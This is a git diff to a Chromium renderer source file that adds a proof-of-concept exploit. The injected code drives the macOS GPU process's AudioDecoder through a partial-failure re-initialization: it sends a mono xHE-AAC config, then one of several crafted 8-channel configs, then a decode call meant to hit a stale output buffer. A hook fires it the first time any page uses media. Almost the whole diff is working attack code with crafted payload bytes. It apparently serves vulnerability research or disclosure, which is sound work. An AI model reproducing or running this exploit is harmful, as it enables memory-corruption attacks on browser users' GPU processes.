diff --git a/content/renderer/media/media_interface_factory.cc b/content/renderer/media/media_interface_factory.cc index 2f2f1acfb3f48..f1d0ac25c35c5 100644 --- a/content/renderer/media/media_interface_factory.cc +++ b/content/renderer/media/media_interface_factory.cc @@ -14,8 +14,198 @@ #include "media/mojo/mojom/renderer_extensions.mojom.h" #include "third_party/blink/public/platform/browser_interface_broker_proxy.h" +// ---- POC injection ------------------------------------------------------- +#include "base/compiler_specific.h" +#include "base/functional/callback_helpers.h" +#include "base/logging.h" +#include "media/base/audio_decoder_config.h" +#include "media/base/decoder_buffer.h" +#include "media/base/media_util.h" +#include "media/mojo/common/mojo_decoder_buffer_converter.h" +#include "media/mojo/mojom/audio_decoder.mojom.h" +#include "media/mojo/mojom/media_log.mojom.h" +#include "mojo/public/cpp/bindings/associated_receiver.h" +#include "mojo/public/cpp/bindings/receiver.h" +#include "mojo/public/cpp/bindings/remote.h" +// -------------------------------------------------------------------------- + namespace content { +// ========================================================================== +// POC: drive media.mojom.AudioDecoder in the macOS GPU process through the +// AudioToolboxAudioDecoder partial-fail re-Initialize window. +// +// Init(config_A: 1-ch xHE-AAC) -> success, output_buffer_list_ sized for 1 +// Init(config_B: 8-ch xHE-AAC) -> AudioConverterNew OK, SetProperty FAIL +// decoder_ = live 8-ch converter +// output_buffer_list_ = STALE 1-ch +// Decode(buf) -> AudioConverterFillComplexBuffer( +// 8-ch converter, ..., 1-slot list) +// ========================================================================== +namespace { + +class PocLog : public media::mojom::MediaLog { + public: + void AddLogRecord(const media::MediaLogRecord& e) override { + LOG(ERROR) << "[poc][gpu-media-log] " << e.params.DebugString(); + } + mojo::Receiver recv_{this}; +}; + +class PocClient : public media::mojom::AudioDecoderClient { + public: + void OnBufferDecoded(media::mojom::AudioBufferPtr) override {} + void OnWaiting(media::WaitingReason) override {} + mojo::AssociatedReceiver recv_{this}; +}; + +// AudioSpecificConfig (extra_data) extracted from +// media/test/data/noise-xhe-aac-mono.mp4 — 1-channel 29.4 kHz USAC. Known to +// pass all six post-AudioConverterNew SetProperty calls on macOS. +const uint8_t kAscMono[] = { + 0xf9, 0x5e, 0x00, 0xe5, 0xb0, 0x3f, 0x00, 0x72, 0xd8, 0x21, 0x3c, 0xc0, + 0xd3, 0xc8, 0x00, 0x00, 0x00, 0x0a, 0x4b, 0x44, 0x48, 0x80, 0x82, 0x10, + 0x30, 0x04, 0x0c, 0x11, 0x03, 0x08, 0x40, 0xc3, 0x08, 0x09, 0x08, 0x00, + 0x05, 0xfc, 0x01, 0x00, 0x22, 0x10, 0x00, 0x13, 0xf8, 0x04, 0x00, 0x64, + 0x20, 0x00, 0x47, 0xf0, 0x0c, 0x01, 0x08, 0x40, 0x04, 0x0f, 0xe0, 0x20, + 0x00, 0x00, 0xc0, 0x0a, 0xe4, 0x00, 0x02, 0x5a, 0x00, 0x11, 0x38, 0x40, + 0x02, 0x00, 0x00, 0x27, 0x58, 0x11, 0x9b, 0x2c, 0x00}; + +// Candidate "config_B" AudioSpecificConfigs intended to: parse as M=8 channels +// in AudioFormatGetProperty + AudioConverterNew, then FAIL one of the later +// AudioConverterSetProperty calls (MagicCookie / ProgramTargetLevel / 'drcp') +// before output_buffer_list_ is reallocated. +// +// Apple's USAC parser is closed-source; the exact bytes that hit the window +// vary by macOS version. Three candidates are provided — cycle kAscB_idx if +// the first one either fully succeeds or fails before AudioConverterNew. +// +// Candidate 0: AOT=42 (USAC), 48 kHz, channelConfiguration=12 (7.1), with a +// truncated UsacConfig that lacks loudnessInfoSet. Intent: format-info parser +// extracts samplerate/channels, AudioConverterNew accepts, but +// kAudioCodecPropertyProgramTargetLevel rejects (no DRC metadata). +const uint8_t kAscB0[] = {0xf9, 0x46, 0x00, 0x20, 0x18, 0x32, 0x03, + 0x00, 0x00, 0x00, 0x00, 0x00}; +// Candidate 1: same header, garbage UsacConfig body — intent: MagicCookie +// SetProperty (full decoder-config parse) rejects what the lightweight +// kAudioFormatProperty_FormatInfo parser accepted. +const uint8_t kAscB1[] = {0xf9, 0x46, 0x00, 0x20, 0x18, 0x32, 0xff, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; +// Candidate 2: channelConfiguration=0 + explicit 8-ch UsacChannelConfig with +// invalid speaker layout — intent: OutputChannelLayout SetProperty rejects. +const uint8_t kAscB2[] = {0xf9, 0x46, 0x00, 0x20, 0x00, 0x10, 0x40, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + +constexpr int kAscB_idx = 0; + +media::AudioDecoderConfig MakeCfg(const uint8_t* asc, + size_t n, + media::ChannelLayout layout, + int channels, + int rate) { + media::AudioDecoderConfig c; + // SAFETY: POC literal byte tables above; n == sizeof(table). + auto extra = UNSAFE_BUFFERS(std::vector(asc, asc + n)); + c.Initialize(media::AudioCodec::kAAC, media::kSampleFormatPlanarF32, + {layout, channels}, rate, std::move(extra), + media::EncryptionScheme::kUnencrypted, base::TimeDelta(), 0); + c.set_profile(media::AudioCodecProfile::kXHE_AAC); + return c; +} + +struct PocState { + mojo::Remote dec; + PocClient client; + PocLog log; + std::unique_ptr writer; +}; + +void PocStep4_Decode(PocState* s) { + LOG(ERROR) << "[poc] step 4: Decode() with stale 1-ch output_buffer_list_ " + "+ live M-ch decoder_"; + // Any non-empty payload with a timestamp; ProvideInputCallback hands it to + // the converter as one packet. + std::vector payload(64, 0x41); + auto buf = media::DecoderBuffer::CopyFrom(payload); + buf->set_timestamp(base::TimeDelta()); + buf->set_duration(base::TimeDelta()); + auto mojo_buf = s->writer->WriteDecoderBuffer(std::move(buf)); + s->dec->Decode(std::move(mojo_buf), base::BindOnce([]( + const media::DecoderStatus& st) { + LOG(ERROR) << "[poc] Decode() returned code=" << static_cast(st.code()) + << " — if the GPU process is still alive, Apple validated " + "mNumberBuffers; check for ASAN report otherwise."; + })); +} + +void PocStep3_InitB(PocState* s) { + const uint8_t* asc = nullptr; + size_t n = 0; + switch (kAscB_idx) { + case 0: asc = kAscB0; n = sizeof(kAscB0); break; + case 1: asc = kAscB1; n = sizeof(kAscB1); break; + default: asc = kAscB2; n = sizeof(kAscB2); break; + } + LOG(ERROR) << "[poc] step 3: Initialize(config_B) M=8ch — expect " + "kFailedToCreateDecoder AFTER AudioConverterNew"; + s->dec->Initialize( + MakeCfg(asc, n, media::CHANNEL_LAYOUT_7_1, 8, 48000), std::nullopt, + base::BindOnce( + [](PocState* s, const media::DecoderStatus& st, bool, + media::AudioDecoderType) { + LOG(ERROR) << "[poc] Initialize(B) -> code=" + << static_cast(st.code()) + << " (want kFailedToCreateDecoder=205). " + "Compromised renderer ignores this and decodes."; + PocStep4_Decode(s); + }, + s)); +} + +void PocStep2_InitA(PocState* s) { + LOG(ERROR) << "[poc] step 2: Initialize(config_A) N=1ch mono"; + s->dec->Initialize( + MakeCfg(kAscMono, sizeof(kAscMono), media::CHANNEL_LAYOUT_MONO, 1, 29400), + std::nullopt, + base::BindOnce( + [](PocState* s, const media::DecoderStatus& st, bool, + media::AudioDecoderType t) { + LOG(ERROR) << "[poc] Initialize(A) -> code=" + << static_cast(st.code()) + << " type=" << static_cast(t) + << " (want kOk=0, type=kAudioToolbox)"; + if (!st.is_ok()) { + LOG(ERROR) << "[poc] config_A rejected — not on macOS or " + "AudioToolbox unavailable; aborting."; + return; + } + PocStep3_InitB(s); + }, + s)); +} + +void RunPoc(media::mojom::InterfaceFactory* factory) { + static bool done = false; + if (done) return; + done = true; + LOG(ERROR) << "[poc] === macOS AudioToolboxAudioDecoder stale " + "output_buffer_list_ POC firing ==="; + + // Leaked intentionally — keep pipes alive for the life of the renderer. + auto* s = new PocState; + factory->CreateAudioDecoder(s->dec.BindNewPipeAndPassReceiver()); + s->dec->Construct(s->client.recv_.BindNewEndpointAndPassRemote(), + s->log.recv_.BindNewPipeAndPassRemote()); + + mojo::ScopedDataPipeConsumerHandle consumer; + s->writer = media::MojoDecoderBufferWriter::Create(4096, &consumer); + s->dec->SetDataSource(std::move(consumer)); + + PocStep2_InitA(s); +} + +} // namespace + MediaInterfaceFactory::MediaInterfaceFactory( const blink::BrowserInterfaceBrokerProxy* interface_broker) : interface_broker_(interface_broker) { @@ -196,6 +386,11 @@ MediaInterfaceFactory::GetMediaInterfaceFactory() { &MediaInterfaceFactory::OnConnectionError, base::Unretained(this))); } + // POC: fire the malicious AudioDecoder sequence the first time any frame + // touches media. The browser-side MediaInterfaceProxy forwards + // CreateAudioDecoder straight to the GPU process with no inspection. + RunPoc(media_interface_factory_.get()); + return media_interface_factory_.get(); }